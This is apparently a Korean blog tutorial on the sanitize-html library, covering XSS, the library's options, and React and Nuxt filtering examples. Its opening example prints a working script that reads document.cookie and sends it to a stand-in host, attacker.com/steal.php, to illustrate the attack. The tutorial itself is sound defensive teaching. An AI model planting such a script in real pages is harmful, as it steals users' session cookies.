“ 당신은 소프트웨어 품질을 추구할 수도 있고, 포인터 연산을 할 수도 있다. 그러나 두 개를 동시에 할 수는 없다. ”
Sanitize-html 라이브러리
sanitize-html은 웹 애플리케이션을 개발할 때 사용자 입력 또는 외부 데이터에서 잠재적으로 악성 또는 위험한 HTML을 제거하고 안전한 HTML을 유지하기 위한 도구라고 정의할 수 있습니다.
정확하게 어떤 상황일 때 위험한지 예를 들어서 설명하자면, 사용자들은 텍스트로 게시물을 작성하고, 다른 사용자들은 이 게시글을 볼 수 있는 간단한 기능의 게시판이 있다고 생각해 봅시다.
악의적인 사용자가 아래와 같이 게시글을 작성한다고 하면, 이 게시글을 열람하는 다른 사용자는 글을 열람할 때 본인의 쿠키 정보가 탈취되어 공격자의 서버로 전송됩니다.
<script>
// 사용자 정보 탈취 코드
var userInformation = document.cookie;
// 공격자 서버로 전송
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://attacker.com/steal.php?data=' + encodeURIComponent(userInformation), true);
xhr.send();
</script>
이러한 공격을 "XSS" (크로스 사이트 스크립팅)이라고 합니다. 즉 사용자의 데이터를 악의적으로 조작하는 공격 행위입니다. 그래서 웹 개발자들은 이 공격에 대해 대처방안으로 Escape(이스케이프) 하거나 Sanitize(소독) 해야 합니다. 이렇게 하면 스크립트가 동작하지 않고 텍스트로만 표시가 됩니다.
Sanitize-html 사용 방법
npm install sanitize-html
TypeScript 설정 (선택)
npm install @types/sanitize-html
// tsconfig.json 설정
// 생략
"types": [
"@types/sanitize-html" //추가
]
sanitize-html 옵션
아래 더 보기에서 sanitize-html에 옵션내용을 정리했습니다. 설명 한번 읽어보시길 바랍니다.
allowedTags : HTML에서 허용할 태그를 지정합니다. 지정한 태그 외에는 필터링됩니다.
allowedAttributes : HTML 요소에 허용할 속성을 제어합니다. 속성을 지정하지 않으면 모든 속성이 허용됩니다.
allowedStyles : HTML 요소에 허용할 스타일 속성과 값의 패턴을 지정합니다. 스타일 속성을 지정하지 않으면 모든 스타일이 허용됩니다.
allowedClasses : HTML 요소에 허용할 CSS 클래스를 제어합니다. 클래스를 지정하지 않으면 모든 클래스가 허용됩니다.
allowedIframeDomains : <iframe> 요소의 src 속성에서 허용할 도메인을 제한합니다.
allowedIframeHostnames : <iframe> 요소의 src 속성에서 허용할 호스트 이름을 제한합니다.
allowIframeRelativeUrls : 상대 URL을 허용할지 여부를 지정합니다.
allowedSchemes : URL의 스키마(프로토콜)를 허용합니다. 예를 들어, ['http', 'https']로 설정하면 http://와 https:// URL만 허용됩니다.
allowedSchemesByTag : 특정 HTML 태그에 대한 허용 스키마를 지정합니다. 예를 들어, { a: ['http', 'https'], img: ['data'] }로 설정하면 <a> 태그의 href 속성은 http와 https URL만 허용하고, <img> 태그의 src 속성은 data URL만 허용합니다.
allowedSchemesAppliedToAttributes : 특정 속성에 대한 스키마를 제한합니다. 예를 들어, ['href', 'src']로 설정하면 href 및 src 속성에만 스키마 제한이 적용됩니다.
allowedScriptDomains : 스크립트 태그의 src 속성에서 허용할 도메인을 제한합니다.
allowedScriptHostnames : 스크립트 태그의 src 속성에서 허용할 호스트 이름을 제한합니다.
allowProtocolRelative : 프로토콜 상대 URL (//example.com)을 허용할지 여부를 지정합니다.
allowVulnerableTags : 보안 취약한 태그를 허용할지 여부를 지정합니다.
textFilter : 텍스트 내용을 필터링하거나 수정하는 사용자 정의 함수를 제공합니다.
exclusiveFilter : 특정 HTML 태그를 필터링할지 여부를 제어하는 사용자 정의 함수를 제공합니다.
nestingLimit : HTML 태그의 중첩을 제한합니다.
nonTextTags : 텍스트가 아닌 내용을 가진 HTML 태그를 지정합니다.
parseStyleAttributes : 스타일 속성을 파싱 할지 여부를 지정합니다.
selfClosing : 빈 요소 (예: <img>, <br>)를 처리할 때 사용됩니다.
transformTags : 특정 HTML 태그를 변환할 때 사용됩니다.
parser :사용자 지정 파서를 지정합니다.
disallowedTagsMode : 불허용 태그에 대한 처리 모드를 지정합니다.
enforceHtmlBoundary : true로 설정하면 <html> 태그 이전과 이후의 문자를 모두 삭제합니다.
allowedTags와 allowedAttributes 옵션을 false로 설정하면 모든 태그와 속성에 대해서 허용합니다.
allowedTags:["div"] 이렇게 작성하면 div태그만 허용합니다.
React에서 사용해 보기 (react 18.2.0)
React에서 HTML 마크업을 포함한 텍스트를 동적으로 생성하여 표시하거나 외부 HTML 콘텐츠를 표시할 때, 컴포넌트 내부에 HTML 문자열을 주입할 경우가 간혹 있을 수 있는데 이때 잘못 사용하면 보안 문제를 일으킬 수 있다고 합니다. 그래서 "dangerouslySetInnerHTML"을 사용하는데 이거 또한 XSS 공격에 취약하므로 sanitize를 사용하여 필터링해야 합니다.
import React from "react";
import sanitizeHtml from "sanitize-html";
import "../src/styles.css";
function App() {
const str = `span 태그 <script>공격하자</script> 입니다`;
const strRed = `<span style="color: red;">리액트</span>`;
const strBlue = `<span class="blue">리액트</span>`;
// span 태그만 허용하고 나머지 태그는 제거
const cleaned = sanitizeHtml(str, {
allowedTags: ["span"]
});
const cleaned2 = sanitizeHtml(strRed, {
allowedTags: ["span"],
allowedAttributes: {
span: ["style"] // css style 허용
}
});
const cleaned3 = sanitizeHtml(strBlue, {
allowedTags: ["span"],
allowedAttributes: {
span: ["class"] // css class허용
}
});
return (
<div>
<h1>HTML 정리 예제 (span 태그만 허용)</h1>
<p>원본 HTML: {str}</p>
<p>
정리된 HTML: <span dangerouslySetInnerHTML={{ __html: cleaned }} />
</p>
<br />
<p>원본 HTML2: {strRed}</p>
<p>
정리된 HTML2: <span dangerouslySetInnerHTML={{ __html: cleaned2 }} />
</p>
<p>
정리된 HTML3: <span dangerouslySetInnerHTML={{ __html: cleaned3 }} />
</p>
</div>
);
}
export default App;
Nuxt에서 사용해 보기 (nuxt 2.17.1)
Nuxt와 vue도 마찬가지로 v-html을 사용하여 html 텍스트를 렌더링 할 수 있는데 이 또한 XSS 공격에 취약하므로 안전하지 않습니다.
그래도 v-html로 작업을 꼭 해야 하는 경우가 있습니다. 그럴 때 sanitize-html을 사용하여 필터링을 거친 후 v-html로 작업하시면 됩니다.
// nuxt.config.js
export default {
//생략
build:{
transpile: [
'sanitize-html' //추가
],
}
}
<template>
<div v-html="changeTitle"></div> // v-html 사용
</template>
<script lang="ts" setup>
import sanitizeHTML from 'sanitize-html'
// 설정할 문자
const title = '타이틀'
// html 태그와 style 적용
const boldTitle = `<div style='color: red; display: inline'>${title}</div>`
// sanitizeHTML로 취약점 보안
const changeTitle = sanitizeHTML(boldTitle, {
allowedTags: ['div'], // 허용할 태그
allowedAttributes: {
div: ['style'] // css 허용
}
})
</script>